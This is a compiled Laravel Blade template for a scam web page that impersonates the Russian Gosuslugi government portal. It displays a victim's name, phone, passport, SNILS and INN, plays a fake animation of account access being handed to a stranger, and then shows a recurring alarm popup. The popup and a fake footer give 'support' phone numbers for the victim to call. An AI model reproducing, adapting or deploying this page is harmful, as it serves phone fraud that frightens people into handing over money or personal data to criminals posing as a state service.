                    display: inline-flex;
                    justify-content: center;
                    align-items: center;
                    text-decoration: none;
                }

                .fake-header .logo img {
                    display: block;
                    width: 280px;
                    max-width: 100%;
                    height: auto;
                }
            </style>

            <div class="demo-profile">
                <style>
                    @media (max-width: 768px) {

                        .demo-profile {
                            max-width: 345px;
                            width: calc(100% - 32px);
                            margin: 20px auto;
                            padding: 24px 18px;
                            border-radius: 12px;
                            box-sizing: border-box;
                        }

                    }

                    .fake-header {
                        display: flex;
                        justify-content: center;
                        align-items: center;
                        margin-bottom: 40px;
                    }

                    .fake-header .logo {
                        display: inline-flex;
                        justify-content: center;
                        align-items: center;
                        text-decoration: none;
                    }

                    .fake-header .logo img {
                        display: block;
                        max-width: 220px;
                        /* при необходимости измените */
                        width: 100%;
                        height: auto;
                    }
                </style>

                <!-- <header class="fake-header">
    <a tabindex="0" class="logo" href="https://" aria-label="пп">
        <img src="<?php echo e(asset('public/gos/logo.4db68cf668f7092d.svg')); ?>" alt="пп">
    </a>
</header> -->

                <div class="demo-profile__head">

                    <div class="demo-profile__avatar">
                        <?php echo e(mb_substr(explode(' ', trim($fio))[1] ?? '', 0, 1) .
    mb_substr(explode(' ', trim($fio))[0] ?? '', 0, 1)); ?>

                    </div>

                    <div class="demo-profile__phone" style="font-weight:700; font-size:18px;">
    <?php echo e($phone); ?>

</div>

                </div>
                <div style="max-width:700px;margin:30px auto;line-height:1.8;font-size:16px;color:#333;">
                    <p>
                        <span class="demo-profile__value"><strong> ⚠️ Подтверждение предоставления
                                доступа</strong></span>
                        <span class="demo-profile__value">Вы уверены, что хотите предоставить пользователю Новиков Дмитрий Иванович доступ к вашей учетной записи «Госуслуги»?</span>
                        <span class="demo-profile__value">После подтверждения получатель сможет получить доступ к
                            запрашиваемым данным, включая:</span>
                    </p>
                </div>


<style>
.demo-profile__value.reveal {
    opacity: 0;
    transform: translateY(6px);
    transition: opacity .65s ease, transform .65s ease;
}

.demo-profile__value.reveal.show {
    opacity: 1;
    transform: translateY(0);
}

.blur-data {
    display: inline;
    filter: blur(5px);
    -webkit-filter: blur(5px);
    user-select: none;
    pointer-events: none;
    white-space: nowrap;
    line-height: inherit;
    vertical-align: baseline;
}

.data-loading {
    display: none;
    margin: 12px 0 16px;
    font-size: 14px;
    color: #6b7280;
    font-style: italic;
}
</style>

<div id="dataLoading" class="data-loading">
    ⏳ Выполняется выгрузка персональных данных...
</div>

<div class="demo-profile__info">

    <?php if($fio): ?>
        <span class="demo-profile__value reveal">
            — <strong>ФИО:</strong> <?php echo e($fio); ?>

        </span>
    <?php endif; ?>

    <?php if($birth): ?>
        <span class="demo-profile__value reveal">
            — <strong>Дата рождения:</strong> <?php echo e($birth); ?>

        </span>
    <?php endif; ?>

    <?php if($phone): ?>
        <span class="demo-profile__value reveal">
            — <strong>Телефон:</strong> <?php echo e($phone); ?>

        </span>
    <?php endif; ?>

    <span class="demo-profile__value reveal">
    — <strong>Номер паспорта:</strong>
    <?php if($pasport): ?>
        <?php echo e($pasport); ?>

    <?php else: ?>
        <span class="blur-data">123-456-789 00</span>
    <?php endif; ?>
</span>

<span class="demo-profile__value reveal">
    — <strong>СНИЛС:</strong>
    <?php if($snils): ?>
        <?php echo e($snils); ?>

    <?php else: ?>
        <span class="blur-data">123-456-789 00</span>
    <?php endif; ?>
</span>

<span class="demo-profile__value reveal">
    — <strong>ИНН:</strong>
    <?php if($inn): ?>
        <?php echo e($inn); ?>

    <?php else: ?>
        <span class="blur-data">770123456789</span>
    <?php endif; ?>
</span>

    <span class="demo-profile__value reveal">
        — <strong>Адрес регистрации (постоянная прописка):</strong>
        <span class="blur-data">
            г. Москва, ул. Лесная, д. 15, кв. 48
        </span>
    </span>

    <span class="demo-profile__value reveal">
        — <strong>Адрес фактического проживания:</strong>
        <span class="blur-data">
            г. Москва, пр-т Мира, д. 117, кв. 23
        </span>
    </span>

</div>

<script>
document.addEventListener('DOMContentLoaded', () => {

    const rows = document.querySelectorAll('.demo-profile__value.reveal');
    const loading = document.getElementById('dataLoading');

    loading.style.display = 'block';

    // Ждем 2 секунды, имитируя выгрузку данных
    setTimeout(() => {

        loading.style.display = 'none';

        rows.forEach((row, index) => {

            setTimeout(() => {
                row.classList.add('show');
            }, index * 700);

        });

    }, 2000);

});
</script>
                <style>
                    #testBtn {
                        padding: 12px 28px;
                        border: none;
                        border-radius: 8px;
                        background: #2563eb;
                        color: #fff;
                        font-size: 16px;
                        cursor: pointer;
                        transition: .2s;
                    }

                    #testBtn.pressed {
                        background: #9ca3af;
                        transform: translateY(2px);
                        box-shadow: inset 0 3px 6px rgba(0, 0, 0, .25);
                        cursor: default;
                    }

                    #loader {
                        display: none;
                        margin-top: 18px;
                        text-align: center;
                    }

                    .spinner {
                        width: 38px;
                        height: 38px;
                        border: 4px solid #e5e7eb;
                        border-top: 4px solid #2563eb;
                        border-radius: 50%;
                        animation: spin .8s linear infinite;
                        margin: 0 auto;
                    }

                    .loading-text {
                        margin-top: 10px;
                        color: #666;
                        font-size: 14px;
                    }

                    #status {
                        display: none;
                        margin-top: 15px;
                        font-weight: 600;
                    }

                    /* ---------- POPUP ---------- */

#discountModal {
    position: fixed;
    inset: 0;
    background: rgba(0,0,0,.55);
    display: none;
    justify-content: center;
    align-items: center;
    visibility: hidden;
    opacity: 0;
    transition: opacity .2s ease;
    z-index: 999999;
}

                    .discount-box {
                        width: 90%;
                        max-width: 430px;
                        background: #fff;
                        border-radius: 14px;
                        padding: 28px;
                        text-align: center;
                        box-shadow: 0 15px 40px rgba(0, 0, 0, .25);
                        position: relative;
                        animation: popup .3s ease;
                    }

                    .warning-title {
                        margin: 0 0 15px;
                        color: #dc2626;
                        font-size: 28px;
                        font-weight: 700;
                    }

                    .discount-box p {
                        margin: 12px 0;
                        line-height: 1.6;
                        color: #444;
                    }

                    .discount-phone {
                        display: inline-block;
                        margin-top: 15px;
                        padding: 12px 22px;
                        background: #2563eb;
                        color: #fff;
                        text-decoration: none;
                        border-radius: 8px;
                        font-size: 20px;
                        font-weight: bold;
                    }

                    .discount-phone:hover {
                        background: #1d4ed8;
                    }

                    .close-modal {
                        position: absolute;
                        top: 10px;
                        right: 15px;
                        font-size: 28px;
                        cursor: pointer;
                        color: #888;
                    }

                    .close-modal:hover {
                        color: #000;
                    }

                    @keyframes  spin {
                        from {
                            transform: rotate(0deg);
                        }

                        to {
                            transform: rotate(360deg);
                        }
                    }

                    @keyframes  popup {
                        from {
                            opacity: 0;
                            transform: scale(.85);
                        }

                        to {
                            opacity: 1;
                            transform: scale(1);
                        }
                    }

                    @keyframes  fadeIn {
                        from {
                            opacity: 0;
                        }

                        to {
                            opacity: 1;
                        }
                    }
                </style>

                <button id="testBtn" class="demo-profile__btn">
                    Передать доступ
                </button>

                <div id="loader">
                    <div class="spinner"></div>
                    <!-- <div class="loading-text">
        Загрузка...
    </div> -->
                </div>

               <div id="status" style="color: green;">
  Операция успешно завершена.
</div>

                <!-- POPUP -->

                <div id="discountModal">
                    <div class="discount-box">

                        <div class="close-modal">&times;</div>

                        <h2 class="warning-title">⚠️ Внимание!</h2>

                        <p>
                            Зафиксирована передача доступа к вашей учетной записи.
                        </p>

                        <p>
                            Если это действие выполнили не вы, немедленно обратитесь в службу поддержки по телефону
                        </p>

                        <a class="discount-phone" href="tel:+79991234567">
                            📞 +7(495)204-19-78
                        </a>

                    </div>
                </div>

<script>
document.addEventListener("DOMContentLoaded", function () {

    var btn = document.getElementById("testBtn");
    var loader = document.getElementById("loader");
    var status = document.getElementById("status");
    var modal = document.getElementById("discountModal");
    var closeBtn = document.querySelector(".close-modal");

    if (!btn || !loader || !status || !modal || !closeBtn) {
        console.log("Не найден один из элементов");
        return;
    }

    loader.style.display = "none";
    status.style.display = "none";

    modal.style.display = "none";
    modal.style.visibility = "hidden";
    modal.style.opacity = "0";

    var popupShownAgain = false;

    function showModal() {
        modal.style.display = "flex";
        modal.style.visibility = "visible";
        modal.style.opacity = "1";
        modal.style.zIndex = "999999";
    }

    function hideModal() {
        modal.style.opacity = "0";
        modal.style.visibility = "hidden";

        setTimeout(function () {
            modal.style.display = "none";
        }, 200);
    }

    function closeModal() {

        hideModal();

        if (!popupShownAgain) {

            popupShownAgain = true;

            setTimeout(function () {
                showModal();
            }, 7000);

        }
    }

    setTimeout(function () {

        loader.style.display = "block";

        setTimeout(function () {

            loader.style.display = "none";

            btn.classList.add("pressed");
            btn.disabled = true;
            btn.innerHTML = "Доступ предоставлен";

            status.style.display = "block";

            setTimeout(function () {
                showModal();
            }, 1000);

        }, 3000);

    }, 4000);

    closeBtn.onclick = closeModal;

    modal.onclick = function (e) {
        if (e.target === modal) {
            closeModal();
        }
    };

});
</script>
            </div>





            <!----></main>

            <widget-minimax id="widget-container" _nghost-ncd-c2="" ng-version="13.3.12"><!----></widget-minimax>
            <lib-footer portalintersection="" _nghost-ng-c4048374767="" class="ng-star-inserted">
                <div _ngcontent-ng-c4048374767="" id="footer-wrapper" class="footer-wrapper ng-star-inserted">

                    <div _ngcontent-ng-c4048374767=""
                        class="container-d grid-row-d grid-row-gap-sm-24 ng-star-inserted">

                        <div _ngcontent-ng-c4048374767="" class="col-d-2 col-d-lg-3 ng-star-inserted">

                            <a _ngcontent-ng-c4048374767=""
                                class="simple text-plain-large color-text-helper ng-star-inserted"
                                href="tel:+79991234567" role="link" tabindex="44">Поддержка портала Госуслуг — </a> <a
                                _ngcontent-ng-c4048374767=""
                                class="simple text-plain-large color-text-helper ng-star-inserted"
                                href="tel:+79991234567" role="link" tabindex="44"> 7 499 346-62-27 (бесплатно на всей территории России)</a>

                            <a _ngcontent-ng-c4048374767=""
                                class="simple text-plain-large color-text-helper mt-16 ng-star-inserted"
                                href="https://www.gosuslugi.ru/help" role="link" tabindex="46">Помощь</a>
                            <!----><!----><!----><!---->
                        </div>

                        <div _ngcontent-ng-c4048374767="" class="col-d-2 col-d-lg-3 ng-star-inserted">


                            <a _ngcontent-ng-c4048374767=""
                                class="simple text-plain-large color-text-helper ng-star-inserted"
                                href="https://www.gosuslugi.ru/find_service" role="link" tabindex="47">Как найти
                                услугу</a>
                            <!----><!----><!---->

                            <a _ngcontent-ng-c4048374767=""
                                class="simple text-plain-large color-text-helper mt-16 ng-star-inserted"
                                href="https://map.gosuslugi.ru/map/co" role="link" tabindex="48">Карта центров
                                обслуживания</a>
                            <!----><!----><!---->

                            <a _ngcontent-ng-c4048374767=""
                                class="simple text-plain-large color-text-helper mt-16 ng-star-inserted"
                                href="https://partners.gosuslugi.ru/" role="link" tabindex="49">Партнёрам</a>
                            <!----><!----><!----><!---->
                        </div>

                        <div _ngcontent-ng-c4048374767="" class="col-d-2 col-d-lg-3 ng-star-inserted">



                            <button _ngcontent-ng-c4048374767="" class="reset location-select ng-star-inserted"
                                aria-label="Ваше местоположение — г Нижний Новгород. Нажмите для изменения"
                                role="button" tabindex="50">

                                <figure _ngcontent-ng-c4048374767="" class="mr-8 ng-star-inserted"
                                    style="mask-image: url(&quot;https://gu-st.ru/portal-st/lib-assets/svg/defaults/navigation.svg&quot;);">
                                </figure>
                                <!----><span _ngcontent-ng-c4048374767="" class="text-plain-large color-text-helper">г
                                    Нижний Новгород</span>
                            </button>
                            <!---->
                            <!----><!----><!----><!---->
                        </div>

                        <div _ngcontent-ng-c4048374767="" class="col-d-2 col-d-lg-3 flex-container ng-star-inserted">


                            <a class="social-link" href="https://max.ru/gosuslugi" aria-label="Канал Госуслуги в MAX"
                                role="link" tabindex="51">
                                <img class="main-ico" src="<?php echo e(asset('public/portal/Default.svg')); ?>" alt="MAX">

                            </a>

                            <a class="social-link ml-16" href="https://vk.com/gosuslugi"
                                aria-label="Группа Вконтакте Госуслуги" role="link" tabindex="52">
                                <img class="main-ico" src="<?php echo e(asset('public/portal/vk-gray-v2.svg')); ?>" alt="VK">

                            </a>

                            <a class="social-link ml-16" href="https://ok.ru/gosuslugi"
                                aria-label="Группа Госуслуги в сети Одноклассники" role="link" tabindex="53">
                                <img class="main-ico" src="<?php echo e(asset('public/portal/ok-gray.svg')); ?>" alt="OK">

                            </a>

                            <a class="social-link ml-16" href="https://rutube.ru/channel/23789311/"
                                aria-label="Канал Госуслуги на Rutube" role="link" tabindex="54">
                                <img class="main-ico" src="<?php echo e(asset('public/portal/rutube-gray.svg')); ?>" alt="Rutube">

                            </a>
                            <!----><!----><!---->

                            <a _ngcontent-ng-c4048374767="" class="social-link ml-16 ng-star-inserted"
                                href="https://t.me/gosuslugi" aria-label="Телеграм канал Госуслуги" role="link"
                                tabindex="55">
                                <img class="main-ico" src="<?php echo e(asset('public/portal/telegram-gray.svg')); ?>" alt="Telegram">

                            </a>
                            <!----><!----><!----><!---->
                        </div>
                        <!---->
                    </div>
           
                </div>
                <!----><!---->
            </lib-footer><!---->
        </div><lib-notifier _nghost-ng-c584223298="">
            <div _ngcontent-ng-c584223298="" role="status" aria-live="polite" aria-atomic="true"
                class="dark left notifiers-list" hidden="">

                <!----><!---->
            </div>
        </lib-notifier><lib-portal-disclaimer _nghost-ng-c3044007788="">
            <div _ngcontent-ng-c3044007788="" role="status" aria-atomic="true" aria-live="polite"
                class="left portal-disclaimer-list" hidden="">

                <!---->
            </div>
        </lib-portal-disclaimer>
    </portal-root>

</body>

</html><?php /**PATH /home/u6610954/finviplaty.info/resources/views/home.blade.php ENDPATH**/ ?>